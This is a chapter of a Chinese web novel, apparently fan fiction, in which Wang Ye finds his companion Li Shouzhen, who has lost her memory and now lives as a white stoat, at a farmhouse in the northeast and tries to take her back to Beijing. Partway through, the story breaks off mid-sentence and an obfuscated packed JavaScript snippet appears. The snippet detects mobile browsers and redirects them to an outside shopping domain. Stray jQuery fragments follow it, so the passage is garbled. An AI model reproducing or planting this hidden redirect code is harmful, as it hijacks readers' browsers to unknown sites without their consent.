农家的院子是平房,木头搭的棚子下堆积着整齐的木柴,墙壁上挂着几串红辣椒和蒜头,朴实、敞亮、丰收,非常符合王也对东北农家的想象。

    站在门口的男人六十多岁,戴着褐色皮毛做的帽子,圆滚滚的身材,老态龙钟的脸上那双眼睛半眯着,笑呵呵地看了一眼母子俩,然后才不咸不淡地落到了王也的身上。

    至于他怀中的那只白鼬,安安稳稳地趴在男人的胳膊上,毛色雪白,竖着耳朵,一双漆黑的瞳孔眨也不眨地盯着王也。

    王也非常确定,就在他进来的瞬间,那只白鼬冲着他挑了挑眉。

    “大喜,回来了?快进来,呦~爷的大孙子哎,快让爷爷抱抱~”

    男人笑眯眯蹲下,张开怀抱,一把将跑过去的邓等等抱起,而他怀中的那只白鼬则一溜烟地窜到了男人的肩上,调皮地舞动着尾巴,逗得等等咯咯咯笑。

    那只白鼬...

    王也眉心慢慢皱起,不知为什么,他总觉得很熟悉。

    名为大喜的大姐已经和男人解释了王也的来历,便开口叫他,“王也,外面冷,快进来暖和暖和!”

    王也反应过来,笑着道了一声‘好’。

    男人叫做邓大全,是这一片有名的出马仙,一进屋就看见供桌上供着的保家仙,香火繁盛,庇护着一家老小。

    脱了鞋上炕,邓大全坐在对面,木桌上摆放着一盘花生米以及一小瓶二锅头,邓等等好奇地伸手去拿玻璃瓶,却见白鼬非常通人性地伸出小爪子,一点一点将玻璃瓶推到桌子中间。

    “老爷子,这是您自己养的?”

    屋里烧着炕,王也脱去了外衣,里面穿着黑色的高领毛衣,长发梳成一个高高的发髻,随着他的晃动,几缕发丝散落在眉边,他的皮肤白,清冷冷的,乍一看倒像个坐办公室的白领。

    邓大全笑了笑,身子半歪着靠在被子上,目光始终看着自己的大孙子,嘴角带着笑意。

    “也不知道谁家走丢的小玩意儿,跑到咱家,也不差这一口儿,就留着了。”

    那白鼬似乎听懂了邓大全的话,直起身子望了望邓大全,邓等等一伸手,它又蹿到邓等等面前用尾巴驱赶他。

    捡来的?

    王也诧异,他尝试着伸出手,修长的手指还未触及白鼬,白鼬就警觉地盯住了他,圆溜溜的小眼睛倒映着王也的脸,过了一会儿,它似乎察觉到王也没有恶意,慢悠悠趴在桌子上,尾巴有一下没一下地敲击着玻璃瓶,发出‘砰砰砰’声。

    终于摸到了这个小玩意...王也的眼神一瞬间变得有些恍然。

    毛色光滑柔顺,摸在手上正如王也想象的那样,软软的,热热的,仿佛在抚摸一匹真丝绸缎。

    “它有名么?”

    手指在下巴上勾了勾,大约挠得它舒服了,白鼬顺势躺进了王也的掌心,摊开肚皮,圆溜溜的眼睛看着他,发出‘咕咕’声,似乎在说‘这也要~’

    真是会享受啊~

    “你想养?”

    邓大全抬眼,对面的王也嘴角带着笑,身体微微前倾,脑袋低垂着,刚刚好和白鼬视线齐平,温柔地看着白鼬在掌心翻滚。

    “嗯,如果您愿意的话,我想养她。”王也嗓音轻柔。

    “嗯...”邓大全沉吟。

    “您有什么要求尽管提,只要在我的能力范围内,我可以答应您。”

    王也坐直了身体,略显严肃地看着邓大全,声音变得沉着,“我大概猜得到,您以及您身后的那位一定付出了巨大的代价,或许我无法付出等价的报酬...”

    说到这里,王也垂下眸子,手掌轻抚了抚白鼬的脊背。

    “但是,我要带走她。您不用急着回答我,我会在这里待到明天,您可以...和那位商量商量。”

    代价什么的...其实也没什么,就连老祖宗也说了,顺手的事,不过,能不能让眼前的这个小伙子把人带走,还是要和老祖宗说一声的...邓大全默默。

    “既然不急着走,那就在这歇一晚吧!”

    说完,邓大全爽朗一笑,冲着外面大喊:“大喜,让你妈多炒几个菜!”

    大喜给王也收拾出一间屋子,就在隔壁,连带着也烧热了炕,屋里暖烘烘的。

    没了外人,王也褪去一身的正经,懒洋洋地靠在叠好的被子上,双腿伸直,在他的肚皮上,那只白鼬蜷缩着身体,脑袋连着尾巴,团成一个小圆球,睡得喷香。

    “你可真是会给我找事啊,守真。”

    一句轻叹从王也口中发出,只是话虽这么说,能一下车就找到李守真,看着她在自己的面前,这件事本身就已经足够抚平王也所有的不安和失落。

    “只是你怎么会变成这幅样子?”

    王也轻挑着一边的眉毛,食指在大拇指上轻轻一弹,一个脑瓜崩落在白鼬的额头。

    白鼬不满地努了努嘴,胡须一颤一颤,没有睁眼只是将头埋得更深。

    不管怎么样,总归是找到人……呃,姑且算是找到了……吧?

    王也侧着身子躺下,睁眼看着白鼬安安静静地窝在他的枕头旁,小小的身体伴随着呼吸上下起伏。

    呼~呼~呼~

    睡吧,睡吧,睡醒了,咱就回家...

    窗外白雪飘零,窗内两道呼吸此起彼伏,大地渐渐沉入梦乡...

    “您是说她失去了记忆?”

    “嗯,老夫已经试过了所有的办法,都没有成效。对于她这种情况,老夫也是第一次见,只能替她找一个合适的容器暂时存放,至于什么时候能恢复记忆甚至恢复肉身,只能看她自己的造化了。”

    ‘邓大全’说完,本能地抬手抚了抚胡须,然后意识到这不是自己的身体,手腕一转,端起瓷缸子喝了一口水。

    不论什么动物,在尴尬的时候,总会装作很忙...

    王也不合时宜地想到了这句话。

    “咳咳,我明白了,多谢前辈的帮忙!”

    王也拱手,正正经经行了一礼。

    只见‘邓大全’身体一震,仿佛突然恢复了意识一般,如梦初醒,看向王也,“老祖宗和你说了?”

    “嗯,她的情况我已经大概了解了,那位前辈也同意我将人带走,邓老爷子,这段时间,她麻烦您了。”

    “嗐,多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648865|204121||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大点事儿!难得我这里来几个年轻人,算给我这带点人气了!”

    邓大全摆手,衰老的脸上留有几分沧桑。

    “怎么,我妈在家陪您还不够,还想让我也留在家里?”

    门外,大喜拿着一个小包进来,打趣完邓大全,将小包递给王也,

    “王也,这是我妈给小鼬做的衣裳,说是小鼬身体差,挨不了冻,你出门的时候给她换上。”

    小小的一件衣裳不知道从哪件大红袄上拆下来的,上面还绣着一朵象征着富贵的大红花。

    这审美...李守真知道了会打死我吧?

    王也眉心抽了抽:“...替我多谢谢大娘了。”

    算了,快过年了,穿件红色衣裳也算是应景了...

    告别了邓大全一家,王也背上背包踏上回城的旅途,在他的肩上,一只穿着红色大花袄的小鼬精神抖擞地背着手,目光深沉地望向前方。

    “呵呵,回家了,守真。”

    王也挠了挠小鼬的下巴,换来小鼬舒服的眯眯眼。

    在见到守真的第一眼,王也并没有认出来守真,但是,当他的手碰到小鼬的身体时,有一种奇怪的感觉在心底升起,这是李守真。

    那是一种很神奇的感觉,王也从未在其他人身上感受过,上一次还是在李守真身边。当她的手贴到自己后背时,那种莫名的安心感,让他明知道前方危险重重,却一想到身后还有一个人——既是自己的软肋,也是自己的盔甲。

    呼~

    王也长舒一口气,望着上方缓缓升起的白气,似乎看到了回去之后即将要面对的重重困难,眼底不由得浮现一抹看清未来的漠然。

    既然过去无可挽回,那么未来就要不遗余力地去改变。

    第一步就是要——

    “欸?不能带上火车?”

    “是的,先生,宠物上火车的话,需要出示动物检疫证明,疫苗接种证明,除此之外,您还需要办理托运,不可以随身携带。”

    窗口售票处的工作人员瞥了一眼王也肩上的白鼬,第一眼没认出来是白鼬,于是又看了一眼,这一眼眉头微微皱起,手已经放在了固定电话上了。

    王也见状大感不妙,糟糕!忘记白鼬是国家保护动物了!

    “哈哈,多谢您了,姐姐!”

    话未说完,王也脚步一滑,光速离开售票大厅。

    “呼~差点就被抓进去了!”

    角落里,王也撑着膝盖大口呼吸,脸上惊魂未定,这要是被抓进去,估计够他喝一壶的了!

    小鼬不知道王也的担心,她还以为王也在和她玩呢,王也弯腰的时候,她就顺着王也的背一路蹿到了王也的头上,圆脑袋从帽子里钻出来,露出两个半圆形的小耳朵,机敏地听着来往的声音。

    “咕咕,咕咕。”

    “算了,公共交通是别想了...这么远的路...”王也挠挠头,龇牙咧嘴,“总不能飞回去吧?唉,麻烦。”

    “咕咕,咕咕。”

    王也转身,声音顺着寒意消散在风中。

    “喂,杜哥,麻烦您个事...嗯...去北京...”